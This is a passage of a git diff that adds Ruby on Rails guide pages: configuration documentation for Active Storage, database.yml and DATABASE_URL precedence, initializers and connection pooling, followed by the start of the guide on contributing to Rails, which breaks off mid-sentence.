`:ffprobe` - The location of the ffprobe executable. + * `:mutool` - The location of the mutool executable. + * `:ffmpeg` - The location of the ffmpeg executable. + + ```ruby + config.active_storage.paths[:ffprobe] = '/usr/local/bin/ffprobe' + ``` + +* `config.active_storage.variable_content_types` accepts an array of strings indicating the content types that Active Storage can transform through ImageMagick. The default is `%w(image/png image/gif image/jpg image/jpeg image/pjpeg image/vnd.adobe.photoshop image/vnd.microsoft.icon)`. + +* `config.active_storage.content_types_to_serve_as_binary` accepts an array of strings indicating the content types that Active Storage will always serve as an attachment, rather than inline. The default is `%w(text/html +text/javascript image/svg+xml application/postscript application/x-shockwave-flash text/xml application/xml application/xhtml+xml)`. + +* `config.active_storage.queue` can be used to set the name of the Active Job queue used to perform jobs like analyzing the content of a blob or purging a blog. + + ```ruby + config.active_storage.queue = :low_priority + ``` + +* `config.active_storage.logger` can be used to set the logger used by Active Storage. Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. + + ```ruby + config.active_storage.logger = ActiveSupport::Logger.new(STDOUT) + ``` + +* `config.active_storage.service_urls_expire_in` determines the default expiry of URLs generated by: + * `ActiveStorage::Blob#service_url` + * `ActiveStorage::Blob#service_url_for_direct_upload` + * `ActiveStorage::Variant#service_url` + + The default is 5 minutes. + +* `config.active_storage.routes_prefix` can be used to set the route prefix for the routes served by Active Storage. Accepts a string that will be prepended to the generated routes. + + ```ruby + config.active_storage.routes_prefix = '/files' + ``` + + The default is `/rails/active_storage` + +### Configuring a Database + +Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`. + +Using the `config/database.yml` file you can specify all the information needed to access your database: + +```yaml +development: + adapter: postgresql + database: blog_development + pool: 5 +``` + +This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this: + +```ruby +> puts ENV['DATABASE_URL'] +postgresql://localhost/blog_development?pool=5 +``` + +The `config/database.yml` file contains sections for three different environments in which Rails can run by default: + +* The `development` environment is used on your development/local computer as you interact manually with the application. +* The `test` environment is used when running automated tests. +* The `production` environment is used when you deploy your application for the world to use. + +If you wish, you can manually specify a URL inside of your `config/database.yml` + +``` +development: + url: postgresql://localhost/blog_development?pool=5 +``` + +The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information. + + +TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. + + +### Connection Preference + +Since there are two ways to configure your connection (using `config/database.yml` or using an environment variable) it is important to understand how they can interact. + +If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable: + +``` +$ cat config/database.yml + +$ echo $DATABASE_URL +postgresql://localhost/my_database +``` + +If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database: + +``` +$ cat config/database.yml +development: + adapter: postgresql + database: my_database + host: localhost + +$ echo $DATABASE_URL +``` + +If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples. + +When duplicate connection information is provided the environment variable will take precedence: + +``` +$ cat config/database.yml +development: + adapter: sqlite3 + database: NOT_my_database + host: localhost + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ rails runner 'puts ActiveRecord::Base.configurations' +#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28> + +$ rails runner 'puts ActiveRecord::Base.configurations.inspect' +#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[ + #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0 + @env_name="development", @spec_name="primary", + @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost"} + @url="postgresql://localhost/my_database"> + ] +``` + +Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`. + +If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts. + +``` +$ cat config/database.yml +development: + adapter: sqlite3 + pool: 5 + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ rails runner 'puts ActiveRecord::Base.configurations' +#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28> + +$ rails runner 'puts ActiveRecord::Base.configurations.inspect' +#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[ + #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0 + @env_name="development", @spec_name="primary", + @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost", "pool"=>5} + @url="postgresql://localhost/my_database"> + ] +``` + +Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins. + +The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key: + +``` +$ cat config/database.yml +development: + url: sqlite3:NOT_my_database + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ rails runner 'puts ActiveRecord::Base.configurations' +#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28> + +$ rails runner 'puts ActiveRecord::Base.configurations.inspect' +#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[ + #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0 + @env_name="development", @spec_name="primary", + @config={"adapter"=>"sqlite3", "database"=>"NOT_my_database"} + @url="sqlite3:NOT_my_database"> + ] +``` + +Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name. + +Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git). + +``` +$ cat config/database.yml +production: + url: <%= ENV['DATABASE_URL'] %> +``` + +Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`. + +#### Configuring an SQLite3 Database + +Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. + +Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment: + +```yaml +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 +``` + +NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. + +#### Configuring a MySQL or MariaDB Database + +If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: mysql2 + encoding: utf8mb4 + database: blog_development + pool: 5 + username: root + password: + socket: /tmp/mysql.sock +``` + +If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate. + +NOTE: If your MySQL version is 5.5 or 5.6 and want to use the `utf8mb4` character set by default, please configure your MySQL server to support the longer key prefix by enabling `innodb_large_prefix` system variable. + +Advisory Locks are enabled by default on MySQL and are used to make database migrations concurrent safe. You can disable advisory locks by setting `advisory_locks` to `false`: + +```yaml +production: + adapter: mysql2 + advisory_locks: false +``` + +#### Configuring a PostgreSQL Database + +If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases: + +```yaml +development: + adapter: postgresql + encoding: unicode + database: blog_development + pool: 5 +``` + +By default Active Record uses database features like prepared statements and advisory locks. You might need to disable those features if you're using an external connection pooler like PgBouncer: + +```yaml +production: + adapter: postgresql + prepared_statements: false + advisory_locks: false +``` + +If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value: + +``` +production: + adapter: postgresql + statement_limit: 200 +``` + +The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements. + +#### Configuring an SQLite3 Database for JRuby Platform + +If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: jdbcsqlite3 + database: db/development.sqlite3 +``` + +#### Configuring a MySQL or MariaDB Database for JRuby Platform + +If you choose to use MySQL or MariaDB and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: jdbcmysql + database: blog_development + username: root + password: +``` + +#### Configuring a PostgreSQL Database for JRuby Platform + +If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: jdbcpostgresql + encoding: unicode + database: blog_development + username: blog + password: +``` + +Change the username and password in the `development` section as appropriate. + +### Creating Rails Environments + +By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments. + +Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there. + +That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console -e staging`, `Rails.env.staging?` works, etc. + + +### Deploy to a subdirectory (relative url root) + +By default Rails expects that your application is running at the root +(eg. `/`). This section explains how to run your application inside a directory. + +Let's assume we want to deploy our application to "/app1". Rails needs to know +this directory to generate the appropriate routes: + +```ruby +config.relative_url_root = "/app1" +``` + +alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment +variable. + +Rails will now prepend "/app1" when generating links. + +#### Using Passenger + +Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](https://www.phusionpassenger.com/library/deploy/apache/deploy/ruby/#deploying-an-app-to-a-sub-uri-or-subdirectory). + +#### Using a Reverse Proxy + +Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application. + +Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers. + +One such application server you can use is [Unicorn](https://bogomips.org/unicorn/) to run behind a reverse proxy. + +In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead. + +You can find more information in the [Unicorn readme](https://bogomips.org/unicorn/README.html) and understand the [philosophy](https://bogomips.org/unicorn/PHILOSOPHY.html) behind it. + +Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include: + +``` +upstream application_server { + server 0.0.0.0:8080; +} + +server { + listen 80; + server_name localhost; + + root /root/path/to/your_app/public; + + try_files $uri/index.html $uri.html @app; + + location @app { + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header Host $http_host; + proxy_redirect off; + proxy_pass http://application_server; + } + + # some other configuration +} +``` + +Be sure to read the [NGINX documentation](https://nginx.org/en/docs/) for the most up-to-date information. + + +Rails Environment Settings +-------------------------- + +Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails: + +* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under. + +* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). + +* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. + + +Using Initializer Files +----------------------- + +After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts. + +NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down. + +TIP: While Rails supports numbering of initializer file names for load ordering purposes, a better technique is to place any code that need to load in a specific order within the same file. This reduces file name churn, makes dependencies more explicit, and can help surface new concepts within your application. + +Initialization events +--------------------- + +Rails has 5 initialization events which can be hooked into (listed in the order that they are run): + +* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens. + +* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process. + +* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`. + +* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment. + +* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run. + +To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass: + +```ruby +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +``` + +Alternatively, you can also do it through the `config` method on the `Rails.application` object: + +```ruby +Rails.application.config.before_initialize do + # initialization code goes here +end +``` + +WARNING: Some parts of your application, notably routing, are not yet set up at the point where the `after_initialize` block is called. + +### `Rails::Railtie#initializer` + +Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller: + +```ruby +initializer "action_controller.set_helpers_path" do |app| + ActionController::Helpers.helpers_path = app.helpers_paths +end +``` + +The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_. + +Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods. + +WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order. + +The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example. + +Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application. + +### Initializers + +Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated). + +* `load_environment_hook`: Serves as a placeholder so that `:load_environment_config` can be defined to run before it. + +* `load_active_support`: Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default. + +* `initialize_logger`: Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`. + +* `initialize_cache`: If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. + +* `set_clear_dependencies_hook`: This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. + +* `initialize_dependency_mechanism`: If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. + +* `bootstrap_hook`: Runs all configured `before_initialize` blocks. + +* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. + +* `active_support.deprecation_behavior`: Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production, and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. + +* `active_support.initialize_time_zone`: Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". + +* `active_support.initialize_beginning_of_week`: Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`. + +* `active_support.set_configs`: Sets up Active Support by using the settings in `config.active_support` by `send`'ing the method names as setters to `ActiveSupport` and passing the values through. + +* `action_dispatch.configure`: Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`. + +* `action_view.set_configs`: Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. + +* `action_controller.assets_config`: Initializes the `config.actions_controller.assets_dir` to the app's public directory if not explicitly configured. + +* `action_controller.set_helpers_path`: Sets Action Controller's `helpers_path` to the application's `helpers_path`. + +* `action_controller.parameters_config`: Configures strong parameters options for `ActionController::Parameters`. + +* `action_controller.set_configs`: Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. + +* `action_controller.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access. + +* `active_record.initialize_timezone`: Sets `ActiveRecord::Base.time_zone_aware_attributes` to `true`, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. + +* `active_record.logger`: Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`. + +* `active_record.migration_error`: Configures middleware to check for pending migrations. + +* `active_record.check_schema_cache_dump`: Loads the schema cache dump if configured and available. + +* `active_record.warn_on_records_fetched_greater_than`: Enables warnings when queries return large numbers of records. + +* `active_record.set_configs`: Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. + +* `active_record.initialize_database`: Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment. + +* `active_record.log_runtime`: Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger. + +* `active_record.set_reloader_hooks`: Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. + +* `active_record.add_watchable_files`: Adds `schema.rb` and `structure.sql` files to watchable files. + +* `active_job.logger`: Sets `ActiveJob::Base.logger` - if it's not already set - + to `Rails.logger`. + +* `active_job.set_configs`: Sets up Active Job by using the settings in `config.active_job` by `send`'ing the method names as setters to `ActiveJob::Base` and passing the values through. + +* `action_mailer.logger`: Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`. + +* `action_mailer.set_configs`: Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. + +* `action_mailer.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access. + +* `set_load_path`: This initializer runs before `bootstrap_hook`. Adds paths specified by `config.load_paths` and all autoload paths to `$LOAD_PATH`. + +* `set_autoload_paths`: This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths`, `config.eager_load_paths` and `config.autoload_once_paths` to `ActiveSupport::Dependencies.autoload_paths`. + +* `add_routing_paths`: Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application. + +* `add_locales`: Adds the files in `config/locales` (from the application, railties, and engines) to `I18n.load_path`, making available the translations in these files. + +* `add_view_paths`: Adds the directory `app/views` from the application, railties, and engines to the lookup path for view files for the application. + +* `load_environment_config`: Loads the `config/environments` file for the current environment. + +* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties, and engines to the lookup path for helpers for the application. + +* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties, and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded. + +* `engines_blank_point`: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run. + +* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties, and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference. + +* `ensure_autoload_once_paths_as_subset`: Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised. + +* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie, or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production. + +* `add_builtin_route`: If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application. + +* `build_middleware_stack`: Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request. + +* `eager_load!`: If `config.eager_load` is `true`, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`. + +* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties, and engines. + +* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActiveSupport::Callbacks.to_run`. + +* `disable_dependency_loading`: Disables the automatic dependency loading if the `config.eager_load` is set to `true`. + +Database pooling +---------------- + +Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`. + +```ruby +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 +``` + +Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit. + +Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue. + +If you try to use more connections than are available, Active Record will block +you and wait for a connection from the pool. If it cannot get a connection, a +timeout error similar to that given below will be thrown. + +```ruby +ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds) +``` + +If you get the above error, you might want to increase the size of the +connection pool by incrementing the `pool` option in `database.yml` + +NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections. + + +Custom configuration +-------------------- + +You can configure your own code through the Rails configuration object with +custom configuration under either the `config.x` namespace, or `config` directly. +The key difference between these two is that you should be using `config.x` if you +are defining _nested_ configuration (ex: `config.x.nested.hi`), and just +`config` for _single level_ configuration (ex: `config.hello`). + + ```ruby + config.x.payment_processing.schedule = :daily + config.x.payment_processing.retries = 3 + config.super_debugger = true + ``` + +These configuration points are then available through the configuration object: + + ```ruby + Rails.configuration.x.payment_processing.schedule # => :daily + Rails.configuration.x.payment_processing.retries # => 3 + Rails.configuration.x.payment_processing.not_set # => nil + Rails.configuration.super_debugger # => true + ``` + +You can also use `Rails::Application.config_for` to load whole configuration files: + + ```ruby + # config/payment.yml: + production: + environment: production + merchant_id: production_merchant_id + public_key: production_public_key + private_key: production_private_key + development: + environment: sandbox + merchant_id: development_merchant_id + public_key: development_public_key + private_key: development_private_key + + # config/application.rb + module MyApp + class Application < Rails::Application + config.payment = config_for(:payment) + end + end + ``` + + ```ruby + Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id + ``` + +Search Engines Indexing +----------------------- + +Sometimes, you may want to prevent some pages of your application to be visible +on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index +these sites will first analyze the `http://your-site.com/robots.txt` file to +know which pages it is allowed to index. + +Rails creates this file for you inside the `/public` folder. By default, it allows +search engines to index all pages of your application. If you want to block +indexing on all pages of your application, use this: + +``` +User-agent: * +Disallow: / +``` + +To block just specific pages, it's necessary to use a more complex syntax. Learn +it on the [official documentation](http://www.robotstxt.org/robotstxt.html). + +Evented File System Monitor +--------------------------- + +If the [listen gem](https://github.com/guard/listen) is loaded Rails uses an +evented file system monitor to detect changes when `config.cache_classes` is +`false`: + +```ruby +group :development do + gem 'listen', '>= 3.0.5', '< 3.2' +end +``` + +Otherwise, in every request Rails walks the application tree to check if +anything has changed. + +On Linux and macOS no additional gems are needed, but some are required +[for *BSD](https://github.com/guard/listen#on-bsd) and +[for Windows](https://github.com/guard/listen#on-windows). + +Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations). diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md new file mode 100644 index 0000000000..709a5146e9 --- /dev/null +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -0,0 +1,687 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Contributing to Ruby on Rails +============================= + +This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. + +After reading this guide, you will know: + +* How to use GitHub to report issues. +* How to clone master and run the test suite. +* How to help resolve existing issues. +* How to contribute to the Ruby on Rails documentation. +* How to contribute to the Ruby on Rails code. + +Ruby on Rails is not "someone else's framework." Over the years, thousands of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. + +As mentioned in [Rails' +README](https://github.com/rails/rails/blob/master/README.md), everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/). + +-------------------------------------------------------------------------------- + +Reporting an Issue +------------------ + +Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them, or to create pull requests. + +NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing. + +### Creating a Bug Report + +If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.) + +Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix. + +Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment. + +### Create an Executable Test Case + +Having a way to reproduce your issue will be very helpful for others to help confirm, investigate, and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point: + +* Template for Active Record (models, database) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) +* Template for testing Active Record (migration) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_master.rb) +* Template for Action Pack (controllers, routing) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) +* Template for Active Job issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_master.rb) +* Generic template for other issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb) + +These templates include the boilerplate code to set up a test case against either a released version of Rails (`*_gem.rb`) or edge Rails (`*_master.rb`). + +Simply copy the content of the appropriate template into a `.rb` file and make the necessary changes to demonstrate the issue. You can execute it by running `ruby the_file.rb` in your terminal. If all goes well, you should see your test case failing. + +You can then share your executable test case as a [gist](https://gist.github.com), or simply paste the content into the issue description. + +### Special Treatment for Security Issues + +WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues. + +### What about Feature Requests? + +Please don't put "feature request" items into GitHub Issues. If there's a new +feature that you want to see added to Ruby on Rails, you'll need to write the +code yourself - or convince someone else to partner with you to write the code. +Later in this guide, you'll find detailed instructions for proposing a patch to +Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you +can expect it to be marked "invalid" as soon as it's reviewed. + +Sometimes, the line between 'bug' and 'feature' is a hard one to draw. +Generally, a feature is anything that adds new behavior, while a bug is +anything that causes incorrect behavior. Sometimes, +the core team will have to make a judgment call. That said, the distinction +generally just affects which release your patch will get in to; we love feature +submissions! They just won't get backported to maintenance branches. + +If you'd like feedback on an idea for a feature before doing the work to make +a patch, please send an email to the [rails-core mailing +list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You +might get no response, which means that everyone is indifferent. You might find +someone who's also interested in building that feature. You might get a "This +won't be accepted." But it's the proper place to discuss new ideas. GitHub +Issues are not a particularly good venue for the sometimes long and involved +discussions new features require. + + +Helping to Resolve Existing Issues +---------------------------------- + +As a next step beyond reporting issues, you can help the core team resolve existing ones by providing feedback about them. If you are new to Rails core development, that might be a great way to walk your first steps, you'll get familiar with the code base and the processes. + +If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: + +### Verifying Bug Reports + +For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing. + +If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem. + +If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, 